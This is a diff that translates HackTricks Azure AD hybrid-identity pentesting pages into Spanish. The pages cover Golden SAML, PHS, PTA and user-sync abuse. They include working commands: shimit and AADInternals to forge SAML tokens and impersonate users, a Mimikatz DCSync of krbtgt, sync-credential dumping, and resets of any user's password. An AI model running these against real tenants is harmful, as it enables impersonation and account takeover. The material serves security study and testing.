sincronizada con Azure AD, dejando su SID como un objetivo viable, y tiene inherentemente privilegios equivalentes a Administrador de Dominio debido a su papel en la sincronización de hashes de contraseñas (suponiendo que la Sincronización de Hash de Contraseña esté activa). Para dominios con instalación expresa, esta cuenta está prefijada con **MSOL\_**. Para otros casos, la cuenta se puede identificar enumerando todas las cuentas dotadas de privilegios de Replicación de Directorio en el objeto de dominio. -### The full attack +### El ataque completo -Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +Consulte el post original: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 593b0222a..6732ab056 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -4,10 +4,6 @@ **Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post. +La publicación del blog discute una vulnerabilidad de escalada de privilegios en Azure AD, que permite a los administradores de aplicaciones o cuentas de sincronización en las instalaciones comprometidas escalar privilegios al asignar credenciales a aplicaciones. La vulnerabilidad, que proviene del comportamiento "por diseño" del manejo de aplicaciones y principales de servicio de Azure AD, afecta notablemente a las aplicaciones predeterminadas de Office 365. Aunque se ha informado, Microsoft no considera el problema como una vulnerabilidad debido a la documentación del comportamiento de asignación de derechos de administrador. La publicación proporciona información técnica detallada y aconseja revisiones regulares de las credenciales de los principales de servicio en entornos de Azure AD. Para obtener información más detallada, puede visitar la publicación original del blog. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 4af67011b..ae45e5a3c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -1,36 +1,30 @@ -# Az- Synchronising New Users +# Az- Sincronizando Nuevos Usuarios {{#include ../../../../banners/hacktricks-training.md}} -## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD +## Sincronizando usuarios de AzureAD a on-prem para escalar de on-prem a AzureAD -I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements: - -- The **AzureAD user** needs to have a proxy address (a **mailbox**) -- License is not required -- Should **not be already synced** +Para sincronizar un nuevo usuario **de AzureAD al AD on-prem** estos son los requisitos: +- El **usuario de AzureAD** necesita tener una dirección proxy (un **buzón**) +- No se requiere licencia +- No debe **estar ya sincronizado** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` +Cuando se encuentra un usuario como estos en AzureAD, para **acceder desde el AD local** solo necesitas **crear una nueva cuenta** con el **proxyAddress** el correo electrónico SMTP. -When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email. - -An automatically, this user will be **synced from AzureAD to the on-prem AD user**. +Automáticamente, este usuario será **sincronizado desde AzureAD al usuario del AD local**. > [!CAUTION] -> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**. +> Ten en cuenta que para realizar este ataque **no necesitas ser Administrador de Dominio**, solo necesitas permisos para **crear nuevos usuarios**. > -> Also, this **won't bypass MFA**. +> Además, esto **no eludirá MFA**. > -> Moreover, this was reported an **account sync is no longer possible for admin accounts**. +> Además, se informó que **la sincronización de cuentas ya no es posible para cuentas de administrador**. -## References +## Referencias - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 480c5f22b..bfd5c4cc8 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -2,34 +2,34 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**La Federación** es un conjunto de **dominios** que han establecido **confianza**. El nivel de confianza puede variar, pero típicamente incluye **autenticación** y casi siempre incluye **autorización**. Una federación típica podría incluir un **número de organizaciones** que han establecido **confianza** para el **acceso compartido** a un conjunto de recursos. -You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available. +Puedes **federar tu entorno** local **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el entorno local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible.
-Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**. +Básicamente, en la Federación, toda la **autenticación** ocurre en el entorno **local** y el usuario experimenta SSO a través de todos los entornos de confianza. Por lo tanto, los usuarios pueden **acceder** a aplicaciones **en la nube** utilizando sus **credenciales locales**. -**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers. +**Security Assertion Markup Language (SAML)** se utiliza para **intercambiar** toda la **información** de autenticación y autorización entre los proveedores. -In any federation setup there are three parties: +En cualquier configuración de federación hay tres partes: -- User or Client -- Identity Provider (IdP) -- Service Provider (SP) +- Usuario o Cliente +- Proveedor de Identidad (IdP) +- Proveedor de Servicios (SP) -(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +(Imágenes de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
-1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation. -2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP. -3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user. -4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service. +1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica. +2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido. +3. El IdP toma el control, autenticando al usuario. Después de la autenticación, se formula un SAMLResponse por el IdP y se reenvía al SP a través del usuario. +4. Finalmente, el SP evalúa el SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio. -**If you want to learn more about SAML authentication and common attacks go to:** +**Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -37,54 +37,53 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS is a claims-based identity model. -- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet." -- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP. -- A user is identified by ImmutableID. It is globally unique and stored in Azure AD. -- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user. -- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) +- AD FS es un modelo de identidad basado en reclamos. +- "..los reclamos son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamos ubicadas en cualquier parte de Internet." +- Los reclamos para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP. +- Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD. +- El ImmutableID se almacena en local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario. +- Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) -**Golden SAML attack:** +**Ataque Golden SAML:** -- In ADFS, SAML Response is signed by a token-signing certificate. -- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD! -- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response. -- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine. -- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +- En ADFS, el SAML Response es firmado por un certificado de firma de token. +- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD! +- Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación. +- El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet. +- Más información en [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP. +El proceso donde un **Proveedor de Identidad (IdP)** produce un **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** puede estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad del SAMLResponse, asegurando que fue emitido por un IdP de confianza. -A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP. +Se puede trazar un paralelo con el [ataque de ticket dorado](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP. -Golden SAMLs offer certain advantages: +Los Golden SAML ofrecen ciertas ventajas: -- They can be **created remotely**, without the need to be part of the domain or federation in question. -- They remain effective even with **Two-Factor Authentication (2FA)** enabled. -- The token-signing **private key does not automatically renew**. -- **Changing a user’s password does not invalidate** an already generated SAML. +- Pueden ser **creados de forma remota**, sin necesidad de ser parte del dominio o federación en cuestión. +- Siguen siendo efectivos incluso con **Autenticación de Dos Factores (2FA)** habilitada. +- La **clave privada de firma de token no se renueva automáticamente**. +- **Cambiar la contraseña de un usuario no invalida** un SAML ya generado. #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation. +[Active Directory Federation Services (AD FS)]() es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite que un servicio de dominio comparta identidades de usuario con otros proveedores de servicios dentro de una federación. -With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key. +Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de ticket dorado. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada. -The requirements for executing a golden SAML attack include: +Los requisitos para ejecutar un ataque Golden SAML incluyen: -- **Token-signing private key** -- **IdP public certificate** -- **IdP name** -- **Role name (role to assume)** -- Domain\username -- Role session name in AWS -- Amazon account ID +- **Clave privada de firma de token** +- **Certificado público del IdP** +- **Nombre del IdP** +- **Nombre del rol (rol a asumir)** +- Dominio\nombre de usuario +- Nombre de sesión de rol en AWS +- ID de cuenta de Amazon -_Only the items in bold are mandatory. The others can be filled in as desired._ - -To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user: +_Solo los elementos en negrita son obligatorios. Los demás pueden completarse según se desee._ +Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puedes utilizar el complemento Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -98,9 +97,7 @@ To acquire the **private key**, access to the **AD FS user account** is necessar # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` - -With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:** - +Con toda la información, es posible olvidar una SAMLResponse válida como el usuario que deseas suplantar usando [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 @@ -115,11 +112,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
-### On-prem -> cloud - +### On-prem -> nube ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -138,9 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` - -It's also possible to create ImmutableID of cloud only users and impersonate them - +También es posible crear ImmutableID de usuarios solo en la nube e impersonarlos. ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) @@ -152,14 +145,9 @@ Export-AADIntADFSSigningCertificate # Impersonate the user Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose ``` - -## References +## Referencias - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed) - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 0bf61effe..c8c69ba15 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -1,46 +1,45 @@ -# Az - PHS - Password Hash Sync +# Az - PHS - Sincronización de Hash de Contraseña {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr la identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
-It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD. +Es el **método más común** utilizado por las empresas para sincronizar un AD local con Azure AD. -All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\ -Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD. +Todos los **usuarios** y un **hash de los hashes de contraseña** se sincronizan desde el local a Azure AD. Sin embargo, las **contraseñas en texto claro** o los **hashes** **originales** no se envían a Azure AD.\ +Además, los grupos de seguridad **integrados** (como administradores de dominio...) **no se sincronizan** con Azure AD. -The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password. +La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, la **expiración de contraseñas** y la **expiración de cuentas** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña local ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua. -When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**. +Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**. -**PHS** is required for features like **Identity Protection** and AAD Domain Services. +**PHS** es requerido para características como **Protección de Identidad** y Servicios de Dominio AAD. -## Pivoting +## Pivotando -When PHS is configured some **privileged accounts** are automatically **created**: +Cuando PHS está configurado, algunas **cuentas privilegiadas** se crean automáticamente: -- The account **`MSOL_`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**. -- An account **`Sync__installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD. +- La cuenta **`MSOL_`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**. +- Se crea una cuenta **`Sync__installationID`** en Azure AD. Esta cuenta puede **restablecer la contraseña de CUALQUIER usuario** (sincronizado o solo en la nube) en Azure AD. -Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\ -The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. +Las contraseñas de las dos cuentas privilegiadas anteriores se **almacenan en un servidor SQL** en el servidor donde **Azure AD Connect está instalado.** Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro.\ +La base de datos se encuentra en `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -It's possible to extract the configuration from one of the tables, being one encrypted: +Es posible extraer la configuración de una de las tablas, siendo una de ellas encriptada: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD. +La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del usuario `MSOL_*`** en el AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD. -You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Finding the **Azure AD connect server** - -If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with: +### Encontrando el **servidor de conexión de Azure AD** +Si el **servidor donde está instalado Azure AD connect** está unido al dominio (recomendado en la documentación), es posible encontrarlo con: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,9 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` - -### Abusing MSOL\_\* - +### Abusing MSOL\_* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -59,14 +56,12 @@ Get-AADIntSyncCredentials runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` - > [!CAUTION] -> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials. +> También puedes usar [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) para obtener estas credenciales. -### Abusing Sync\_\* - -Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators) +### Abusando de Sync\_\* +Comprometendo la cuenta **`Sync_*`** es posible **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales) ```powershell # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -87,9 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` - -It's also possible to **modify the passwords of only cloud** users (even if that's unexpected) - +También es posible **modificar las contraseñas de solo los usuarios de la nube** (incluso si eso es inesperado) ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -98,21 +91,20 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` - -It's also possible to dump the password of this user. +También es posible volcar la contraseña de este usuario. > [!CAUTION] -> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc. +> Otra opción sería **asignar permisos privilegiados a un principal de servicio**, que el usuario **Sync** tiene **permisos** para hacer, y luego **acceder a ese principal de servicio** como una forma de privesc. -### Seamless SSO +### SSO Sin Costuras -It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in: +Es posible usar SSO Sin Costuras con PHS, que es vulnerable a otros abusos. Revísalo en: {{#ref}} seamless-sso.md {{#endref}} -## References +## Referencias - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) @@ -120,7 +112,3 @@ seamless-sso.md - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index f6edf1214..2a881589c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -1,62 +1,58 @@ -# Az - PTA - Pass-through Authentication +# Az - PTA - Autenticación Passthrough {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La Autenticación Passthrough de Azure Active Directory (Azure AD) permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Azure AD, esta función **valida las contraseñas de los usuarios directamente contra su Active Directory local**. -In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS. +En PTA, las **identidades** están **sincronizadas** pero las **contraseñas** **no** lo están como en PHS. -The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC). +La autenticación se valida en el AD local y la comunicación con la nube se realiza mediante un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local). -### Authentication flow +### Flujo de Autenticación
